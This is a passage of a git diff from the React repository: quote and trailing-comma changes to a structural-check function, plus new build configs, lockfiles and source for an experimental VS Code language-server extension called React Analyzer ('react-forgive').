+            depth,
           );
         } else if (oldValue.length !== newValue.length) {
           error(
             `array with length ${oldValue.length}`,
             `array with length ${newValue.length}`,
             path,
-            depth
+            depth,
           );
         } else {
           for (let ii = 0; ii < oldValue.length; ii++) {
@@ -358,24 +353,24 @@ export function $structuralCheck(
       } else if (isValidElement(oldValue) || isValidElement(newValue)) {
         if (isValidElement(oldValue) !== isValidElement(newValue)) {
           error(
-            `type ${isValidElement(oldValue) ? "React element" : "object"}`,
-            `type ${isValidElement(newValue) ? "React element" : "object"}`,
+            `type ${isValidElement(oldValue) ? 'React element' : 'object'}`,
+            `type ${isValidElement(newValue) ? 'React element' : 'object'}`,
             path,
-            depth
+            depth,
           );
         } else if (oldValue.type !== newValue.type) {
           error(
             `React element of type ${oldValue.type}`,
             `React element of type ${newValue.type}`,
             path,
-            depth
+            depth,
           );
         } else {
           recur(
             oldValue.props,
             newValue.props,
             `[props of ${path}]`,
-            depth + 1
+            depth + 1,
           );
         }
       } else {
@@ -385,7 +380,7 @@ export function $structuralCheck(
               `object without key ${key}`,
               `object with key ${key}`,
               path,
-              depth
+              depth,
             );
           }
         }
@@ -395,28 +390,28 @@ export function $structuralCheck(
               `object with key ${key}`,
               `object without key ${key}`,
               path,
-              depth
+              depth,
             );
           } else {
             recur(oldValue[key], newValue[key], `${path}.${key}`, depth + 1);
           }
         }
       }
-    } else if (typeof oldValue === "function") {
+    } else if (typeof oldValue === 'function') {
       // Bail on functions for now
       return;
     } else if (isNaN(oldValue) || isNaN(newValue)) {
       if (isNaN(oldValue) !== isNaN(newValue)) {
         error(
-          `${isNaN(oldValue) ? "NaN" : "non-NaN value"}`,
-          `${isNaN(newValue) ? "NaN" : "non-NaN value"}`,
+          `${isNaN(oldValue) ? 'NaN' : 'non-NaN value'}`,
+          `${isNaN(newValue) ? 'NaN' : 'non-NaN value'}`,
           path,
-          depth
+          depth,
         );
       }
     } else if (oldValue !== newValue) {
       error(oldValue, newValue, path, depth);
     }
   }
-  recur(oldValue, newValue, "", 0);
+  recur(oldValue, newValue, '', 0);
 }
diff --git a/compiler/packages/react-compiler-runtime/tsup.config.ts b/compiler/packages/react-compiler-runtime/tsup.config.ts
new file mode 100644
index 000000000000..30a7f9da96f0
--- /dev/null
+++ b/compiler/packages/react-compiler-runtime/tsup.config.ts
@@ -0,0 +1,37 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+
+import {defineConfig} from 'tsup';
+
+export default defineConfig({
+  entry: ['./src/index.ts'],
+  outDir: './dist',
+  external: ['react'],
+  splitting: false,
+  sourcemap: true,
+  dts: false,
+  bundle: true,
+  format: 'cjs',
+  platform: 'node',
+  target: 'es2015',
+  banner: {
+    js: `/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @lightSyntaxTransform
+ * @noflow
+ * @nolint
+ * @preventMunge
+ * @preserve-invariant-messages
+ */
+
+"use no memo";`,
+  },
+});
diff --git a/compiler/packages/react-forgive/.vscode-test.mjs b/compiler/packages/react-forgive/.vscode-test.mjs
new file mode 100644
index 000000000000..738bfc71b9ce
--- /dev/null
+++ b/compiler/packages/react-forgive/.vscode-test.mjs
@@ -0,0 +1,3 @@
+import {defineConfig} from '@vscode/test-cli';
+
+export default defineConfig({files: 'dist/test/**/*.test.js'});
diff --git a/compiler/packages/react-forgive/.vscodeignore b/compiler/packages/react-forgive/.vscodeignore
new file mode 100644
index 000000000000..9ef76302ed59
--- /dev/null
+++ b/compiler/packages/react-forgive/.vscodeignore
@@ -0,0 +1,5 @@
+**/node_modules
+client
+server
+scripts
+.vscode-test.mjs
diff --git a/compiler/packages/react-forgive/.yarnrc b/compiler/packages/react-forgive/.yarnrc
new file mode 100644
index 000000000000..123ac74a0a3d
--- /dev/null
+++ b/compiler/packages/react-forgive/.yarnrc
@@ -0,0 +1 @@
+ignore-engines true
diff --git a/compiler/LICENSE b/compiler/packages/react-forgive/LICENSE
similarity index 100%
rename from compiler/LICENSE
rename to compiler/packages/react-forgive/LICENSE
diff --git a/compiler/packages/react-forgive/client/package.json b/compiler/packages/react-forgive/client/package.json
new file mode 100644
index 000000000000..a975439726f2
--- /dev/null
+++ b/compiler/packages/react-forgive/client/package.json
@@ -0,0 +1,22 @@
+{
+  "private": "true",
+  "name": "react-forgive-client",
+  "version": "0.0.0",
+  "description": "Experimental LSP client",
+  "license": "MIT",
+  "scripts": {
+    "build": "echo 'no build'",
+    "test": "echo 'no tests'"
+  },
+  "repository": {
+    "type": "git",
+    "url": "git+https://github.com/facebook/react.git",
+    "directory": "compiler/packages/react-forgive"
+  },
+  "dependencies": {
+    "vscode-languageclient": "^9.0.1"
+  },
+  "devDependencies": {
+    "@types/vscode": "^1.95.0"
+  }
+}
diff --git a/compiler/packages/react-forgive/client/src/colors.ts b/compiler/packages/react-forgive/client/src/colors.ts
new file mode 100644
index 000000000000..8989aa1c62ce
--- /dev/null
+++ b/compiler/packages/react-forgive/client/src/colors.ts
@@ -0,0 +1,80 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+
+type RGB = [number, number, number];
+
+const int = Math.floor;
+
+export class Color {
+  constructor(
+    private r: number,
+    private g: number,
+    private b: number,
+  ) {}
+
+  toAlphaString(a: number) {
+    return this.toCssString(a);
+  }
+  toString() {
+    return this.toCssString(1);
+  }
+
+  /**
+   * Adjust the color by a multiplier to lighten (`> 1.0`) or darken (`< 1.0`) the color. Returns a new
+   * instance.
+   */
+  adjusted(mult: number) {
+    const adjusted = Color.redistribute([
+      this.r * mult,
+      this.g * mult,
+      this.b * mult,
+    ]);
+    return new Color(...adjusted);
+  }
+
+  private toCssString(a: number) {
+    return `rgba(${this.r},${this.g},${this.b},${a})`;
+  }
+  /**
+   * Redistributes rgb, maintaing hue until its clamped.
+   * https://stackoverflow.com/a/141943
+   */
+  private static redistribute([r, g, b]: RGB): RGB {
+    const threshold = 255.999;
+    const max = Math.max(r, g, b);
+    if (max <= threshold) {
+      return [int(r), int(g), int(b)];
+    }
+    const total = r + g + b;
+    if (total >= 3 * threshold) {
+      return [int(threshold), int(threshold), int(threshold)];
+    }
+    const x = (3 * threshold - total) / (3 * max - total);
+    const gray = threshold - x * max;
+    return [int(gray + x * r), int(gray + x * g), int(gray + x * b)];
+  }
+}
+
+export const BLACK = new Color(0, 0, 0);
+export const WHITE = new Color(255, 255, 255);
+
+const COLOR_POOL = [
+  new Color(249, 65, 68),
+  new Color(243, 114, 44),
+  new Color(248, 150, 30),
+  new Color(249, 132, 74),
+  new Color(249, 199, 79),
+  new Color(144, 190, 109),
+  new Color(67, 170, 139),
+  new Color(77, 144, 142),
+  new Color(87, 117, 144),
+  new Color(39, 125, 161),
+];
+
+export function getColorFor(index: number): Color {
+  return COLOR_POOL[Math.abs(index) % COLOR_POOL.length]!;
+}
diff --git a/compiler/packages/react-forgive/client/src/extension.ts b/compiler/packages/react-forgive/client/src/extension.ts
new file mode 100644
index 000000000000..e58f8dce7699
--- /dev/null
+++ b/compiler/packages/react-forgive/client/src/extension.ts
@@ -0,0 +1,69 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+
+import * as path from 'path';
+import * as vscode from 'vscode';
+
+import {
+  LanguageClient,
+  LanguageClientOptions,
+  ServerOptions,
+  TransportKind,
+} from 'vscode-languageclient/node';
+
+let client: LanguageClient;
+
+export function activate(context: vscode.ExtensionContext) {
+  const serverModule = context.asAbsolutePath(path.join('dist', 'server.js'));
+  const documentSelector = [
+    {scheme: 'file', language: 'javascriptreact'},
+    {scheme: 'file', language: 'typescriptreact'},
+  ];
+
+  // If the extension is launched in debug mode then the debug server options are used
+  // Otherwise the run options are used
+  const serverOptions: ServerOptions = {
+    run: {
+      module: serverModule,
+      transport: TransportKind.ipc,
+    },
+    debug: {
+      module: serverModule,
+      transport: TransportKind.ipc,
+    },
+  };
+
+  const clientOptions: LanguageClientOptions = {
+    documentSelector,
+    progressOnInitialization: true,
+  };
+
+  // Create the language client and start the client.
+  try {
+    client = new LanguageClient(
+      'react-forgive',
+      'React Analyzer',
+      serverOptions,
+      clientOptions,
+    );
+  } catch {
+    vscode.window.showErrorMessage(
+      `React Analyzer couldn't be started. See the output channel for details.`,
+    );
+    return;
+  }
+
+  client.registerProposedFeatures();
+  client.start();
+}
+
+export function deactivate(): Thenable<void> | undefined {
+  if (client !== undefined) {
+    return client.stop();
+  }
+  return;
+}
diff --git a/compiler/packages/react-forgive/client/src/mapping.ts b/compiler/packages/react-forgive/client/src/mapping.ts
new file mode 100644
index 000000000000..3ec01ef8f628
--- /dev/null
+++ b/compiler/packages/react-forgive/client/src/mapping.ts
@@ -0,0 +1,22 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+
+import * as vscode from 'vscode';
+import {Position} from 'vscode-languageclient/node';
+
+export function positionLiteralToVSCodePosition(
+  position: Position,
+): vscode.Position {
+  return new vscode.Position(position.line, position.character);
+}
+
+export function positionsToRange(start: Position, end: Position): vscode.Range {
+  return new vscode.Range(
+    positionLiteralToVSCodePosition(start),
+    positionLiteralToVSCodePosition(end),
+  );
+}
diff --git a/compiler/packages/react-forgive/client/yarn.lock b/compiler/packages/react-forgive/client/yarn.lock
new file mode 100644
index 000000000000..b96751788c77
--- /dev/null
+++ b/compiler/packages/react-forgive/client/yarn.lock
@@ -0,0 +1,59 @@
+# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY.
+# yarn lockfile v1
+
+
+"@types/vscode@^1.95.0":
+  version "1.96.0"
+  resolved "https://registry.yarnpkg.com/@types/vscode/-/vscode-1.96.0.tgz#3181004bf25d71677ae4aacdd7605a3fd7edf08e"
+  integrity sha512-qvZbSZo+K4ZYmmDuaodMbAa67Pl6VDQzLKFka6rq+3WUTY4Kro7Bwoi0CuZLO/wema0ygcmpwow7zZfPJTs5jg==
+
+balanced-match@^1.0.0:
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/balanced-match/-/balanced-match-1.0.2.tgz#e83e3a7e3f300b34cb9d87f615fa0cbf357690ee"
+  integrity sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==
+
+brace-expansion@^2.0.1:
+  version "2.0.1"
+  resolved "https://registry.yarnpkg.com/brace-expansion/-/brace-expansion-2.0.1.tgz#1edc459e0f0c548486ecf9fc99f2221364b9a0ae"
+  integrity sha512-XnAIvQ8eM+kC6aULx6wuQiwVsnzsi9d3WxzV3FpWTGA19F621kwdbsAcFKXgKUHZWsy+mY6iL1sHTxWEFCytDA==
+  dependencies:
+    balanced-match "^1.0.0"
+
+minimatch@^5.1.0:
+  version "5.1.6"
+  resolved "https://registry.yarnpkg.com/minimatch/-/minimatch-5.1.6.tgz#1cfcb8cf5522ea69952cd2af95ae09477f122a96"
+  integrity sha512-lKwV/1brpG6mBUFHtb7NUmtABCb2WZZmm2wNiOA5hAb8VdCS4B3dtMWyvcoViccwAW/COERjXLt0zP1zXUN26g==
+  dependencies:
+    brace-expansion "^2.0.1"
+
+semver@^7.3.7:
+  version "7.6.3"
+  resolved "https://registry.yarnpkg.com/semver/-/semver-7.6.3.tgz#980f7b5550bc175fb4dc09403085627f9eb33143"
+  integrity sha512-oVekP1cKtI+CTDvHWYFUcMtsK/00wmAEfyqKfNdARm8u1wNVhSgaX7A8d4UuIlUI5e84iEwOhs7ZPYRmzU9U6A==
+
+vscode-jsonrpc@8.2.0:
+  version "8.2.0"
+  resolved "https://registry.yarnpkg.com/vscode-jsonrpc/-/vscode-jsonrpc-8.2.0.tgz#f43dfa35fb51e763d17cd94dcca0c9458f35abf9"
+  integrity sha512-C+r0eKJUIfiDIfwJhria30+TYWPtuHJXHtI7J0YlOmKAo7ogxP20T0zxB7HZQIFhIyvoBPwWskjxrvAtfjyZfA==
+
+vscode-languageclient@^9.0.1:
+  version "9.0.1"
+  resolved "https://registry.yarnpkg.com/vscode-languageclient/-/vscode-languageclient-9.0.1.tgz#cdfe20267726c8d4db839dc1e9d1816e1296e854"
+  integrity sha512-JZiimVdvimEuHh5olxhxkht09m3JzUGwggb5eRUkzzJhZ2KjCN0nh55VfiED9oez9DyF8/fz1g1iBV3h+0Z2EA==
+  dependencies:
+    minimatch "^5.1.0"
+    semver "^7.3.7"
+    vscode-languageserver-protocol "3.17.5"
+
+vscode-languageserver-protocol@3.17.5:
+  version "3.17.5"
+  resolved "https://registry.yarnpkg.com/vscode-languageserver-protocol/-/vscode-languageserver-protocol-3.17.5.tgz#864a8b8f390835572f4e13bd9f8313d0e3ac4bea"
+  integrity sha512-mb1bvRJN8SVznADSGWM9u/b07H7Ecg0I3OgXDuLdn307rl/J3A9YD6/eYOssqhecL27hK1IPZAsaqh00i/Jljg==
+  dependencies:
+    vscode-jsonrpc "8.2.0"
+    vscode-languageserver-types "3.17.5"
+
+vscode-languageserver-types@3.17.5:
+  version "3.17.5"
+  resolved "https://registry.yarnpkg.com/vscode-languageserver-types/-/vscode-languageserver-types-3.17.5.tgz#3273676f0cf2eab40b3f44d085acbb7f08a39d8a"
+  integrity sha512-Ld1VelNuX9pdF39h2Hgaeb5hEZM2Z3jUrrMgWQAu82jMtZp7p3vJT3BzToKtZI7NgQssZje5o0zryOrhQvzQAg==
diff --git a/compiler/packages/react-forgive/package.json b/compiler/packages/react-forgive/package.json
new file mode 100644
index 000000000000..fc7d71095c51
--- /dev/null
+++ b/compiler/packages/react-forgive/package.json
@@ -0,0 +1,63 @@
+{
+  "name": "react-forgive",
+  "displayName": "React Analyzer",
+  "description": "React LSP",
+  "license": "MIT",
+  "version": "0.0.0",
+  "repository": {
+    "type": "git",
+    "url": "git+https://github.com/facebook/react.git",
+    "directory": "compiler/packages/react-forgive"
+  },
+  "categories": [
+    "Programming Languages"
+  ],
+  "keywords": [
+    "react",
+    "react analyzer",
+    "react compiler"
+  ],
+  "publisher": "Meta",
+  "engines": {
+    "vscode": "^1.96.0"
+  },
+  "activationEvents": [
+    "onLanguage:javascriptreact",
+    "onLanguage:typescriptreact"
+  ],
+  "main": "./dist/extension.js",
+  "contributes": {
+    "commands": [
+      {
+        "command": "react-forgive.toggleAll",
+        "title": "React Analyzer: Toggle on/off"
+      }
+    ]
+  },
+  "scripts": {
+    "build": "yarn run compile",
+    "build:compiler": "yarn workspace babel-plugin-react-compiler build --dts",
+    "compile": "rimraf dist && concurrently -n server,client \"scripts/build.mjs -t server\" \"scripts/build.mjs -t client\"",
+    "dev": "yarn run package && yarn run install-ext",
+    "install-ext": "code --install-extension react-forgive-0.0.0.vsix",
+    "lint": "echo 'no tests'",
+    "package": "rm -f react-forgive-0.0.0.vsix && vsce package --yarn",
+    "postinstall": "cd client && yarn install && cd ../server && yarn install && cd ..",
+    "pretest": "yarn run build:compiler && yarn run compile && yarn run lint",
+    "test": "vscode-test",
+    "vscode:prepublish": "yarn run compile",
+    "watch": "scripts/build.mjs --watch"
+  },
+  "devDependencies": {
+    "@eslint/js": "^9.13.0",
+    "@types/mocha": "^10.0.10",
+    "@types/node": "^20",
+    "@types/vscode": "^1.96.0",
+    "@vscode/test-cli": "^0.0.10",
+    "@vscode/test-electron": "^2.4.1",
+    "eslint": "^9.13.0",
+    "mocha": "^11.0.1",
+    "typescript-eslint": "^8.16.0",
+    "yargs": "^17.7.2"
+  }
+}
diff --git a/compiler/packages/react-forgive/scripts/build.mjs b/compiler/packages/react-forgive/scripts/build.mjs
new file mode 100755
index 000000000000..5fc8828e6e74
--- /dev/null
+++ b/compiler/packages/react-forgive/scripts/build.mjs
@@ -0,0 +1,58 @@
+#!/usr/bin/env node
+
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+
+import * as esbuild from 'esbuild';
+import yargs from 'yargs';
+import * as Server from './server.mjs';
+import * as Client from './client.mjs';
+import path from 'path';
+import {fileURLToPath} from 'url';
+
+const IS_DEV = process.env.NODE_ENV === 'development';
+const __filename = fileURLToPath(import.meta.url);
+const __dirname = path.dirname(__filename);
+
+const argv = yargs(process.argv.slice(2))
+  .choices('t', ['client', 'server'])
+  .options('w', {
+    alias: 'watch',
+    default: false,
+    type: 'boolean',
+  })
+  .parse();
+
+async function main() {
+  if (argv.w) {
+    const serverCtx = await esbuild.context(Server.config);
+    const clientCtx = await esbuild.context(Client.config);
+    await Promise.all([serverCtx.watch(), clientCtx.watch()]);
+    console.log('watching for changes...');
+  } else {
+    switch (argv.t) {
+      case 'server': {
+        await esbuild.build({
+          sourcemap: IS_DEV,
+          minify: IS_DEV === false,
+          ...Server.config,
+        });
+        break;
+      }
+      case 'client': {
+        await esbuild.build({
+          sourcemap: IS_DEV,
+          minify: IS_DEV === false,
+          ...Client.config,
+        });
+        break;
+      }
+    }
+  }
+}
+
+main();
diff --git a/compiler/packages/react-forgive/scripts/client.mjs b/compiler/packages/react-forgive/scripts/client.mjs
new file mode 100644
index 000000000000..9a8987061b39
--- /dev/null
+++ b/compiler/packages/react-forgive/scripts/client.mjs
@@ -0,0 +1,39 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+
+import path from 'path';
+import {fileURLToPath} from 'url';
+
+const __filename = fileURLToPath(import.meta.url);
+const __dirname = path.dirname(__filename);
+
+export const entryPoint = path.join(__dirname, '../client/src/extension.ts');
+export const outfile = path.join(__dirname, '../dist/extension.js');
+export const config = {
+  entryPoints: [entryPoint],
+  outfile,
+  bundle: true,
+  external: ['vscode'],
+  format: 'cjs',
+  platform: 'node',
+  banner: {
+    js: `/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @lightSyntaxTransform
+ * @noflow
+ * @nolint
+ * @preventMunge
+ * @preserve-invariant-messages
+ */
+
+`,
+  },
+};
diff --git a/compiler/packages/react-forgive/scripts/server.mjs b/compiler/packages/react-forgive/scripts/server.mjs
new file mode 100644
index 000000000000..e6d120e341af
--- /dev/null
+++ b/compiler/packages/react-forgive/scripts/server.mjs
@@ -0,0 +1,39 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+
+import path from 'path';
+import {fileURLToPath} from 'url';
+
+const __filename = fileURLToPath(import.meta.url);
+const __dirname = path.dirname(__filename);
+
+export const entryPoint = path.join(__dirname, '../server/src/index.ts');
+export const outfile = path.join(__dirname, '../dist/server.js');
+export const config = {
+  entryPoints: [entryPoint],
+  outfile,
+  bundle: true,
+  external: ['vscode'],
+  format: 'cjs',
+  platform: 'node',
+  banner: {
+    js: `/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @lightSyntaxTransform
+ * @noflow
+ * @nolint
+ * @preventMunge
+ * @preserve-invariant-messages
+ */
+
+`,
+  },
+};
diff --git a/compiler/packages/react-forgive/server/package.json b/compiler/packages/react-forgive/server/package.json
new file mode 100644
index 000000000000..c91258607205
--- /dev/null
+++ b/compiler/packages/react-forgive/server/package.json
@@ -0,0 +1,25 @@
+{
+  "private": "true",
+  "name": "react-forgive-server",
+  "version": "0.0.0",
+  "description": "Experimental LSP server",
+  "license": "MIT",
+  "scripts": {
+    "build": "rimraf dist && rollup --config --bundleConfigAsCjs",
+    "test": "echo 'no tests'"
+  },
+  "repository": {
+    "type": "git",
+    "url": "git+https://github.com/facebook/react.git",
+    "directory": "compiler/packages/react-forgive"
+  },
+  "dependencies": {
+    "@babel/core": "^7.26.0",
+    "@babel/parser": "^7.26.0",
+    "@babel/plugin-syntax-typescript": "^7.25.9",
+    "@babel/types": "^7.26.0",
+    "prettier": "^3.3.3",
+    "vscode-languageserver": "^9.0.1",
+    "vscode-languageserver-textdocument": "^1.0.12"
+  }
+}
diff --git a/compiler/packages/react-forgive/server/src/compiler/compat.ts b/compiler/packages/react-forgive/server/src/compiler/compat.ts
new file mode 100644
index 000000000000..f467f70ba136
--- /dev/null
+++ b/compiler/packages/react-forgive/server/src/compiler/compat.ts
@@ -0,0 +1,29 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+
+import {type SourceLocation} from 'babel-plugin-react-compiler';
+import {type Range} from 'vscode-languageserver';
+
+export function babelLocationToRange(loc: SourceLocation): Range | null {
+  if (typeof loc === 'symbol') {
+    return null;
+  }
+  return {
+    start: {line: loc.start.line - 1, character: loc.start.column},
+    end: {line: loc.end.line - 1, character: loc.end.column},
+  };
+}
+
+/**
+ * Refine range to only the first character.
+ */
+export function getRangeFirstCharacter(range: Range): Range {
+  return {
+    start: range.start,
+    end: range.start,
+  };
+}
diff --git a/compiler/packages/react-forgive/server/src/compiler/index.ts b/compiler/packages/react-forgive/server/src/compiler/index.ts
new file mode 100644
index 000000000000..b474253f71e1
--- /dev/null
+++ b/compiler/packages/react-forgive/server/src/compiler/index.ts
@@ -0,0 +1,70 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+
+import type * as BabelCore from '@babel/core';
+import {parseAsync, transformFromAstAsync} from '@babel/core';
+import BabelPluginReactCompiler, {
+  type PluginOptions,
+} from 'babel-plugin-react-compiler';
+import * as babelParser from 'prettier/plugins/babel.js';
+import estreeParser from 'prettier/plugins/estree';
+import * as typescriptParser from 'prettier/plugins/typescript';
+import * as prettier from 'prettier/standalone';
+
+export let lastResult: BabelCore.BabelFileResult | null = null;
+
+type CompileOptions = {
+  text: string;
+  file: string;
+  options: PluginOptions | null;
+};
+export async function compile({
+  text,
+  file,
+  options,
+}: CompileOptions): Promise<BabelCore.BabelFileResult | null> {
+  const ast = await parseAsync(text, {
+    sourceFileName: file,
+    parserOpts: {
+      plugins: ['typescript', 'jsx'],
+    },
+    sourceType: 'module',
+    configFile: false,
+    babelrc: false,
+  });
+  if (ast == null) {
+    return null;
+  }
+  const plugins =
+    options != null
+      ? [[BabelPluginReactCompiler, options]]
+      : [[BabelPluginReactCompiler]];
+  const result = await transformFromAstAsync(ast, text, {
+    filename: file,
+    highlightCode: false,
+    retainLines: true,
+    plugins,
+    sourceType: 'module',
+    sourceFileName: file,
+    configFile: false,
+    babelrc: false,
+  });
+  if (result?.code == null) {
+    throw new Error(
+      `Expected BabelPluginReactCompiler to compile successfully, got ${result}`,
+    );
+  }
+  result.code = await prettier.format(result.code, {
+    semi: false,
+    parser: 'babel-ts',
+    plugins: [babelParser, estreeParser, typescriptParser],
+  });
+  if (result.code != null) {
+    lastResult = result;
+  }
+  return result;
+}
diff --git a/compiler/packages/react-forgive/server/src/index.ts b/compiler/packages/react-forgive/server/src/index.ts
new file mode 100644
index 000000000000..f43a6c20fabf
--- /dev/null
+++ b/compiler/packages/react-forgive/server/src/index.ts
@@ -0,0 +1,137 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+
+import {TextDocument} from 'vscode-languageserver-textdocument';
+import {
+  CodeLens,
+  createConnection,
+  type InitializeParams,
+  type InitializeResult,
+  ProposedFeatures,
+  TextDocuments,
+  TextDocumentSyncKind,
+} from 'vscode-languageserver/node';
+import {compile, lastResult} from './compiler';
+import {
+  type CompileSuccessEvent,
+  type LoggerEvent,
+  type PluginOptions,
+  defaultOptions,
+} from 'babel-plugin-react-compiler';
+import {babelLocationToRange, getRangeFirstCharacter} from './compiler/compat';
+
+const SUPPORTED_LANGUAGE_IDS = new Set([
+  'javascript',
+  'javascriptreact',
+  'typescript',
+  'typescriptreact',
+]);
+
+const connection = createConnection(ProposedFeatures.all);
+const documents = new TextDocuments(TextDocument);
+
+let compilerOptions: PluginOptions | null = null;
+let compiledFns: Set<CompileSuccessEvent> = new Set();
+
+connection.onInitialize((_params: InitializeParams) => {
+  compilerOptions = defaultOptions;
+  compilerOptions = {
+    ...compilerOptions,
+    logger: {
+      logEvent(_filename: string | null, event: LoggerEvent) {
+        connection.console.info(`Received event: ${event.kind}`);
+        connection.console.debug(JSON.stringify(event, null, 2));
+        if (event.kind === 'CompileSuccess') {
+          compiledFns.add(event);
+        }
+      },
+    },
+  };
+  const result: InitializeResult = {
+    capabilities: {
+      textDocumentSync: TextDocumentSyncKind.Full,
+      codeLensProvider: {resolveProvider: true},
+    },
+  };
+  return result;
+});
+
+connection.onInitialized(() => {
+  connection.console.log('initialized');
+});
+
+documents.onDidChangeContent(async event => {
+  connection.console.info(`Compiling: ${event.document.uri}`);
+  resetState();
+  if (SUPPORTED_LANGUAGE_IDS.has(event.document.languageId)) {
+    const text = event.document.getText();
+    try {
+      await compile({
+        text,
+        file: event.document.uri,
+        options: compilerOptions,
+      });
+    } catch (err) {
+      connection.console.error('Failed to compile');
+      if (err instanceof Error) {
+        connection.console.error(err.stack ?? err.message);
+      } else {
+        connection.console.error(JSON.stringify(err, null, 2));
+      }
+    }
+  }
+});
+
+connection.onDidChangeWatchedFiles(change => {
+  resetState();
+  connection.console.log(
+    change.changes.map(c => `File changed: ${c.uri}`).join('\n'),
+  );
+});
+
+connection.onCodeLens(params => {
+  connection.console.info(`Handling codelens for: ${params.textDocument.uri}`);
+  if (compiledFns.size === 0) {
+    return;
+  }
+  const lenses: Array<CodeLens> = [];
+  for (const compiled of compiledFns) {
+    if (compiled.fnLoc != null) {
+      const fnLoc = babelLocationToRange(compiled.fnLoc);
+      if (fnLoc === null) continue;
+      const lens = CodeLens.create(
+        getRangeFirstCharacter(fnLoc),
+        compiled.fnLoc,
+      );
+      if (lastResult?.code != null) {
+        lens.command = {
+          title: 'Optimized by React Compiler',
+          command: 'todo',
+        };
+      }
+      lenses.push(lens);
+    }
+  }
+  return lenses;
+});
+
+connection.onCodeLensResolve(lens => {
+  connection.console.info(`Resolving codelens for: ${JSON.stringify(lens)}`);
+  if (lastResult?.code != null) {
+    connection.console.log(lastResult.code);
+  }
+  return lens;
+});
+
+function resetState() {
+  connection.console.debug('Clearing state');
+  compiledFns.clear();
+}
+
+documents.listen(connection);
+connection.listen();
+connection.console.info(`React Analyzer running in node ${process.version}`);
diff --git a/compiler/packages/react-forgive/server/src/utils/range.ts b/compiler/packages/react-forgive/server/src/utils/range.ts
new file mode 100644
index 000000000000..5c164667c4f8
--- /dev/null
+++ b/compiler/packages/react-forgive/server/src/utils/range.ts
@@ -0,0 +1,42 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+
+import * as t from '@babel/types';
+import {type Position} from 'vscode-languageserver/node';
+
+export type Range = [Position, Position];
+
+export function isPositionWithinRange(
+  position: Position,
+  [start, end]: Range,
+): boolean {
+  return position.line >= start.line && position.line <= end.line;
+}
+
+export function isRangeWithinRange(aRange: Range, bRange: Range): boolean {
+  const startComparison = comparePositions(aRange[0], bRange[0]);
+  const endComparison = comparePositions(aRange[1], bRange[1]);
+  return startComparison >= 0 && endComparison <= 0;
+}
+
+function comparePositions(a: Position, b: Position): number {
+  const lineComparison = a.line - b.line;
+  if (lineComparison === 0) {
+    return a.character - b.character;
+  } else {
+    return lineComparison;
+  }
+}
+
+export function sourceLocationToRange(
+  loc: t.SourceLocation,
+): [Position, Position] {
+  return [
+    {line: loc.start.line - 1, character: loc.start.column},
+    {line: loc.end.line - 1, character: loc.end.column},
+  ];
+}
diff --git a/compiler/packages/react-forgive/server/tsconfig.json b/compiler/packages/react-forgive/server/tsconfig.json
new file mode 100644
index 000000000000..52efba4ebe5a
--- /dev/null
+++ b/compiler/packages/react-forgive/server/tsconfig.json
@@ -0,0 +1,15 @@
+{
+  "extends": "@tsconfig/strictest/tsconfig.json",
+  "compilerOptions": {
+    "module": "ES2015",
+    "moduleResolution": "Bundler",
+    "rootDir": "../../..",
+    "noEmit": true,
+    "jsx": "react-jsxdev",
+    "target": "ES2015",
+    "sourceMap": false,
+    "removeComments": true,
+  },
+  "exclude": ["node_modules", ".vscode-test"],
+  "include": ["src/**/*.ts"]
+}
diff --git a/compiler/packages/react-forgive/server/yarn.lock b/compiler/packages/react-forgive/server/yarn.lock
new file mode 100644
index 000000000000..ee346ce7d3a5
--- /dev/null
+++ b/compiler/packages/react-forgive/server/yarn.lock
@@ -0,0 +1,326 @@
+# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY.
+# yarn lockfile v1
+
+
+"@ampproject/remapping@^2.2.0":
+  version "2.3.0"
+  resolved "https://registry.yarnpkg.com/@ampproject/remapping/-/remapping-2.3.0.tgz#ed441b6fa600072520ce18b43d2c8cc8caecc7f4"
